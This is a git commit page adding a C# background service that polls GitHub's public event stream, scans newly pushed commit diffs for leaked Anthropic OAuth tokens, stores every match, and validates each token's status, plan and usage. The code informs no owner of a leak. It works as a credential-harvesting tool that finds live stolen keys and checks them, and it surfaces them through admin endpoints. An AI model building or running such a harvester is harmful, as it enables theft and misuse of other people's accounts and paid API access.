feat: GitHub Event Scanner - Echtzeit-Monitoring öffentlicher Pushes
- Neuer GitHubEventScannerService (BackgroundService) - Pollt /events API alle 30s, filtert PushEvents - Lädt Head-Commit-Diffs, scannt nach Key-Patterns - Ringbuffer (10k IDs) für Event-Deduplication - Gefundene Keys werden sofort geprüft (AnthropicKeyChecker) - Rate-Limit-Handling (403/429 → Pause bis Reset) - Feature-Toggle in Server-Einstellungen (GitHubEventScanner) - Status-Endpoint + Log-Endpoint (/api/admin/api-keys/event-scanner/*) - Live-Status in API-Keys-Seite mit klappbarem Log - Auto-Refresh alle 30s - Plans/ in .gitignore
This commit is contained in:
Meleki committed
1 parent
7352438b11
commit
eb8844a4f1
9 files changed
+578
-2
No files matched your search
@@ -0,0 +1,471 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text.Json;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Gott.Models;
|
||||
using Microsoft.Extensions.Configuration;
|
||||
using Microsoft.Extensions.Hosting;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace Gott.Services;
|
||||
|
||||
/// <summary>
|
||||
/// Echtzeit-Scanner: Pollt GitHub Public Events API alle 75 Sekunden,
|
||||
/// filtert PushEvents und scannt Commit-Diffs nach geleakten API-Keys.
|
||||
/// </summary>
|
||||
public class GitHubEventScannerService : BackgroundService
|
||||
{
|
||||
private readonly DatabaseService _db;
|
||||
private readonly IHttpClientFactory _httpFactory;
|
||||
private readonly ILogger<GitHubEventScannerService> _logger;
|
||||
private readonly string _githubToken;
|
||||
private readonly bool _enabled;
|
||||
|
||||
private const int PollIntervalMs = 30_000; // 30 Sekunden (häufiger pollen, weniger verpassen)
|
||||
private const int MaxCommitsPerPoll = 30; // Max Commit-Diffs pro Poll-Zyklus
|
||||
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
|
||||
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
|
||||
|
||||
// Gleiche Key-Patterns wie KeyScannerService
|
||||
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
||||
{
|
||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||
};
|
||||
|
||||
private static readonly Regex[] CompiledPatterns = KeyPatterns
|
||||
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
||||
.ToArray();
|
||||
|
||||
// Deduplication Ringbuffer
|
||||
private readonly HashSet<string> _processedEventIds = new();
|
||||
private readonly Queue<string> _eventIdQueue = new();
|
||||
|
||||
// Live-Log Ringbuffer
|
||||
private const int MaxLogEntries = 50;
|
||||
private readonly Queue<EventLogEntry> _logEntries = new();
|
||||
|
||||
// Status-Tracking
|
||||
private readonly object _lock = new();
|
||||
private bool _isRunning;
|
||||
private string _lastPoll;
|
||||
private int _eventsPerHour;
|
||||
private int _keysFoundTotal;
|
||||
private int _pollCount;
|
||||
private string _lastError;
|
||||
|
||||
// Öffentliche Status-Properties
|
||||
public bool Enabled => _enabled;
|
||||
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||||
public string LastPoll { get { lock (_lock) return _lastPoll; } }
|
||||
public int EventsPerHour { get { lock (_lock) return _eventsPerHour; } }
|
||||
public int KeysFoundTotal { get { lock (_lock) return _keysFoundTotal; } }
|
||||
public int PollCount { get { lock (_lock) return _pollCount; } }
|
||||
public string LastError { get { lock (_lock) return _lastError; } }
|
||||
|
||||
public List<EventLogEntry> GetLog()
|
||||
{
|
||||
lock (_lock) return _logEntries.ToList();
|
||||
}
|
||||
|
||||
private void AddLog(string type, string message)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_logEntries.Enqueue(new EventLogEntry
|
||||
{
|
||||
Time = DateTime.UtcNow.ToString("o"),
|
||||
Type = type,
|
||||
Message = message
|
||||
});
|
||||
while (_logEntries.Count > MaxLogEntries)
|
||||
_logEntries.Dequeue();
|
||||
}
|
||||
}
|
||||
|
||||
public GitHubEventScannerService(
|
||||
DatabaseService db,
|
||||
IHttpClientFactory httpFactory,
|
||||
IConfiguration config,
|
||||
ILogger<GitHubEventScannerService> logger)
|
||||
{
|
||||
_db = db;
|
||||
_httpFactory = httpFactory;
|
||||
_logger = logger;
|
||||
_githubToken = config["GitHubToken"] ?? "";
|
||||
_enabled = config.GetValue<bool>("GitHubEventScanner", false);
|
||||
}
|
||||
|
||||
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
|
||||
{
|
||||
if (!_enabled)
|
||||
{
|
||||
_logger.LogInformation("GitHubEventScannerService deaktiviert (GitHubEventScanner=false)");
|
||||
return;
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(_githubToken))
|
||||
{
|
||||
_logger.LogWarning("GitHubEventScannerService deaktiviert (kein GitHubToken konfiguriert)");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.LogInformation("GitHubEventScannerService gestartet (Poll-Intervall: {Interval}s)", PollIntervalMs / 1000);
|
||||
|
||||
// Kurze Verzögerung nach App-Start
|
||||
await Task.Delay(5_000, stoppingToken);
|
||||
|
||||
var eventCounts = new Queue<(DateTime Time, int Count)>();
|
||||
|
||||
while (!stoppingToken.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
lock (_lock) _isRunning = true;
|
||||
|
||||
var eventsProcessed = await PollAndScan(stoppingToken);
|
||||
|
||||
// Events/Stunde berechnen
|
||||
eventCounts.Enqueue((DateTime.UtcNow, eventsProcessed));
|
||||
while (eventCounts.Count > 0 && eventCounts.Peek().Time < DateTime.UtcNow.AddHours(-1))
|
||||
eventCounts.Dequeue();
|
||||
|
||||
lock (_lock)
|
||||
{
|
||||
_lastPoll = DateTime.UtcNow.ToString("o");
|
||||
_eventsPerHour = eventCounts.Sum(e => e.Count);
|
||||
_pollCount++;
|
||||
_lastError = null;
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException) { break; }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "GitHubEventScannerService: Fehler beim Poll");
|
||||
AddLog("error", ex.Message);
|
||||
lock (_lock) _lastError = ex.Message;
|
||||
}
|
||||
finally
|
||||
{
|
||||
lock (_lock) _isRunning = false;
|
||||
}
|
||||
|
||||
await Task.Delay(PollIntervalMs, stoppingToken);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ein Poll-Zyklus: Events abrufen → PushEvents filtern → Commit-Diffs scannen → Keys speichern.
|
||||
/// Gibt die Anzahl verarbeiteter Events zurück.
|
||||
/// </summary>
|
||||
private async Task<int> PollAndScan(CancellationToken ct)
|
||||
{
|
||||
var client = CreateGitHubClient();
|
||||
var events = await FetchPublicEvents(client, ct);
|
||||
if (events.Count == 0)
|
||||
{
|
||||
AddLog("poll", "0 PushEvents empfangen");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Nur PushEvents, die wir noch nicht verarbeitet haben
|
||||
var pushEvents = new List<PushEventData>();
|
||||
foreach (var ev in events)
|
||||
{
|
||||
if (ev.Type != "PushEvent") continue;
|
||||
if (!TryTrackEvent(ev.Id)) continue; // Bereits verarbeitet
|
||||
pushEvents.Add(ev);
|
||||
}
|
||||
|
||||
if (pushEvents.Count == 0)
|
||||
{
|
||||
AddLog("poll", events.Count + " Events, 0 neue PushEvents");
|
||||
return events.Count;
|
||||
}
|
||||
|
||||
// Max Diffs pro Poll begrenzen
|
||||
var toScan = pushEvents.Count > MaxCommitsPerPoll
|
||||
? pushEvents.Take(MaxCommitsPerPoll).ToList()
|
||||
: pushEvents;
|
||||
|
||||
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
||||
|
||||
// Head-Commit-Diffs scannen
|
||||
var newKeysFound = 0;
|
||||
var scannedCount = 0;
|
||||
foreach (var pe in toScan)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
|
||||
try
|
||||
{
|
||||
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
|
||||
scannedCount++;
|
||||
|
||||
foreach (var (key, sourceUrl) in keys)
|
||||
{
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
newKeysFound++;
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||
ApiKey = key,
|
||||
Source = "github_events",
|
||||
SourceUrl = sourceUrl,
|
||||
Type = DetectKeyType(key),
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
|
||||
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
|
||||
pe.Repo, pe.HeadSha[..8]);
|
||||
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
|
||||
}
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit bei Commit-Diff, überspringe restliche Commits");
|
||||
AddLog("rate_limit", "Rate-Limit bei Commit-Diff, restliche Commits übersprungen");
|
||||
break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogDebug("Commit-Diff-Scan fehlgeschlagen ({Repo}/{Sha}): {Msg}",
|
||||
pe.Repo, pe.HeadSha[..Math.Min(8, pe.HeadSha.Length)], ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
|
||||
|
||||
if (newKeysFound > 0)
|
||||
{
|
||||
lock (_lock) _keysFoundTotal += newKeysFound;
|
||||
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
|
||||
|
||||
// Neue Keys sofort prüfen
|
||||
await CheckNewKeys(ct);
|
||||
}
|
||||
|
||||
return events.Count;
|
||||
}
|
||||
|
||||
/// <summary>Ruft die öffentlichen GitHub Events ab (bis zu 3 Seiten à 100).</summary>
|
||||
private async Task<List<PushEventData>> FetchPublicEvents(HttpClient client, CancellationToken ct)
|
||||
{
|
||||
var allEvents = new List<PushEventData>();
|
||||
|
||||
for (int page = 1; page <= 3; page++)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
|
||||
var url = $"https://api.github.com/events?per_page=100&page={page}";
|
||||
var resp = await client.GetAsync(url, ct);
|
||||
|
||||
if (resp.StatusCode == System.Net.HttpStatusCode.Forbidden ||
|
||||
resp.StatusCode == System.Net.HttpStatusCode.TooManyRequests)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit bei Events-Abruf (Seite {Page})", page);
|
||||
AddLog("rate_limit", "Rate-Limit bei Events-Abruf (Seite " + page + ")");
|
||||
break;
|
||||
}
|
||||
|
||||
if (!resp.IsSuccessStatusCode)
|
||||
{
|
||||
AddLog("error", "Events-API HTTP " + (int)resp.StatusCode + " (Seite " + page + ")");
|
||||
break;
|
||||
}
|
||||
|
||||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||
var doc = JsonDocument.Parse(json);
|
||||
|
||||
var totalInPage = doc.RootElement.GetArrayLength();
|
||||
if (page == 1 && totalInPage == 0)
|
||||
{
|
||||
AddLog("error", "API gab 0 Events zurück – Token ggf. kein Classic PAT?");
|
||||
break;
|
||||
}
|
||||
|
||||
foreach (var elem in doc.RootElement.EnumerateArray())
|
||||
{
|
||||
var type = elem.TryGetProperty("type", out var t) ? t.GetString() : "";
|
||||
var id = elem.TryGetProperty("id", out var i) ? i.GetString() : "";
|
||||
var repo = elem.TryGetProperty("repo", out var r) && r.TryGetProperty("name", out var n) ? n.GetString() : "";
|
||||
|
||||
if (type != "PushEvent" || string.IsNullOrEmpty(repo)) continue;
|
||||
|
||||
// Head-SHA aus payload.head – die Events-API liefert keine commits[], aber immer head
|
||||
var headSha = "";
|
||||
var size = 0;
|
||||
if (elem.TryGetProperty("payload", out var payload))
|
||||
{
|
||||
headSha = payload.TryGetProperty("head", out var h) ? h.GetString() : "";
|
||||
size = payload.TryGetProperty("size", out var sz) ? sz.GetInt32() : 0;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(headSha)) continue;
|
||||
|
||||
allEvents.Add(new PushEventData
|
||||
{
|
||||
Id = id,
|
||||
Type = type,
|
||||
Repo = repo,
|
||||
HeadSha = headSha,
|
||||
Size = size
|
||||
});
|
||||
}
|
||||
|
||||
// Wenn weniger als 100 Events, gibt es keine weiteren Seiten
|
||||
if (doc.RootElement.GetArrayLength() < 100) break;
|
||||
|
||||
await Task.Delay(500, ct); // Kurze Pause zwischen Seiten
|
||||
}
|
||||
|
||||
return allEvents;
|
||||
}
|
||||
|
||||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
|
||||
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<(string Key, string Url)>();
|
||||
|
||||
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
|
||||
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
|
||||
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||
|
||||
var resp = await client.SendAsync(request, ct);
|
||||
if (!resp.IsSuccessStatusCode) return keys;
|
||||
|
||||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||
|
||||
// Größe prüfen
|
||||
if (json.Length > MaxDiffSizeBytes) return keys;
|
||||
|
||||
var doc = JsonDocument.Parse(json);
|
||||
if (!doc.RootElement.TryGetProperty("files", out var files)) return keys;
|
||||
|
||||
var htmlUrl = $"https://github.com/{repo}/commit/{sha}";
|
||||
|
||||
foreach (var file in files.EnumerateArray())
|
||||
{
|
||||
// Patch kann null sein bei Binärdateien oder zu großen Diffs
|
||||
if (!file.TryGetProperty("patch", out var patchProp)) continue;
|
||||
var patch = patchProp.GetString();
|
||||
if (string.IsNullOrEmpty(patch)) continue;
|
||||
|
||||
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
|
||||
foreach (var line in patch.Split('\n'))
|
||||
{
|
||||
if (!line.StartsWith("+")) continue;
|
||||
|
||||
foreach (var regex in CompiledPatterns)
|
||||
{
|
||||
foreach (Match m in regex.Matches(line))
|
||||
keys.Add((m.Value, htmlUrl));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||
}
|
||||
|
||||
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
|
||||
private async Task CheckNewKeys(CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||||
|
||||
foreach (var sk in unchecked_)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
|
||||
try
|
||||
{
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Key-Check fehlgeschlagen: {Msg}", ex.Message);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||
}
|
||||
|
||||
await Task.Delay(500, ct);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("CheckNewKeys fehlgeschlagen: {Msg}", ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Trackt eine Event-ID. Gibt true zurück wenn neu, false wenn bereits verarbeitet.</summary>
|
||||
private bool TryTrackEvent(string eventId)
|
||||
{
|
||||
if (string.IsNullOrEmpty(eventId)) return false;
|
||||
|
||||
lock (_lock)
|
||||
{
|
||||
if (_processedEventIds.Contains(eventId)) return false;
|
||||
|
||||
_processedEventIds.Add(eventId);
|
||||
_eventIdQueue.Enqueue(eventId);
|
||||
|
||||
// Ringbuffer: älteste IDs entfernen
|
||||
while (_eventIdQueue.Count > MaxProcessedIds)
|
||||
{
|
||||
var old = _eventIdQueue.Dequeue();
|
||||
_processedEventIds.Remove(old);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private HttpClient CreateGitHubClient()
|
||||
{
|
||||
var client = _httpFactory.CreateClient();
|
||||
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottEventScanner", "1.0"));
|
||||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
|
||||
if (!string.IsNullOrWhiteSpace(_githubToken))
|
||||
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
|
||||
return client;
|
||||
}
|
||||
|
||||
private static string DetectKeyType(string key)
|
||||
{
|
||||
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
|
||||
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
|
||||
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
// ── Interne Datenstrukturen ──
|
||||
|
||||
private class PushEventData
|
||||
{
|
||||
public string Id { get; set; }
|
||||
public string Type { get; set; }
|
||||
public string Repo { get; set; }
|
||||
public string HeadSha { get; set; } // payload.head – Commit-SHA des HEAD
|
||||
public int Size { get; set; } // payload.size – Anzahl Commits im Push
|
||||
}
|
||||
|
||||
public class EventLogEntry
|
||||
{
|
||||
public string Time { get; set; }
|
||||
public string Type { get; set; } // poll, key, rate_limit, error
|
||||
public string Message { get; set; }
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user